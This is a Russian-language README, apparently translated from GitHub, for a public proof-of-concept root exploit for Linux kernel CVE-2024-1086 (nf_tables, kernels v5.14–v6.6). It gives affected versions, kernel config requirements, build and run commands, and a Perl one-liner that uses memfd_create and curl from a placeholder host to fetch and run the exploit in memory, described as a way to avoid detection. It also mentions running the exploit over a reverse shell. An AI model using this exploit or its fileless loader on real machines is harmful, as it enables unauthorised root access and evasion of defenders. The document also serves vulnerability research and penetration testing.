
Эксплойт локального повышения привилегий для CVE-2024-1086, нацеленный на ядра Linux v5.14–v6.6 с 99,4% успеха на KernelCTF. Включает поддержку бесфайлового выполнения для тестирования на проникновение.
Универсальный эксплойт Proof-of-Concept для повышения привилегий локально для CVE-2024-1086, работающий на большинстве ядер Linux от v5.14 до v6.6, включая Debian, Ubuntu и KernelCTF. Процент успеха составляет 99,4% на образах KernelCTF.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
Полный разбор эксплойта — включая справочную информацию и множество полезных диаграмм — можно найти в статье Flipping Pages.
Эксплойт затрагивает версии от (включительно) v5.14 до (включительно) v6.6, исключая исправленные ветки v5.15.149>, v6.1.76>, v6.6.15>. Патч для этих версий был выпущен в феврале 2024 года. Лежащая в основе уязвимость затрагивает все версии (кроме исправленных стабильных веток) от v3.15 до v6.8-rc1.
Ограничения:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (включая Ubuntu v6.5)CONFIG_USER_NS=y), чтобы эти user namespaces были непривилегированными (команда sh sysctl kernel.unprivileged_userns_clone = 1), и чтобы nf_tables был включен (kconfig CONFIG_NF_TABLES=y). По умолчанию все это включено на Debian, Ubuntu и KernelCTF. Другие дистрибутивы не тестировались, но также могут работать. Кроме того, эксплойт тестировался только на x64/amd64.Значения по умолчанию должны работать из коробки на Debian, Ubuntu и KernelCTF с локальной оболочкой. На нетестированных установках/дистрибутивах, пожалуйста, убедитесь, что значения kconfig соответствуют целевому ядру. Их можно указать в src/config.h. Если вы запускаете эксплойт на машине с более чем 32 ГиБ физической памяти, увеличьте CONFIG_PHYS_MEM.
Если вы запускаете эксплойт через SSH (на тестовую машину) или через reverse shell, вы можете установить CONFIG_REDIRECT_LOG в 1, чтобы избежать лишней сетевой активности.
Если это для вас непрактично, есть скомпилированный x64 бинарный файл с конфигурацией по умолчанию.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Бинарный файл: CVE-2024-1086/exploit
Запуск эксплойта так же тривиален:
./exploit
Также поддерживается бесфайловое выполнение на случай ситуаций пентеста, где необходимо избежать обнаружения. Однако на целевой машине должен быть установлен Perl:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
Программы и скрипты ("программы") в этом каталоге/папке/репозитории программного обеспечения ("репозиторий") опубликованы, разработаны и распространяются только для образовательных/исследовательских целей. Я ("создатель") не одобряю никакого злонамеренного или незаконного использования программ в этом репозитории, так как цель — делиться исследованиями, а не заниматься незаконной деятельностью. Я не несу юридической ответственности за все, что вы делаете с программами в этом репозитории.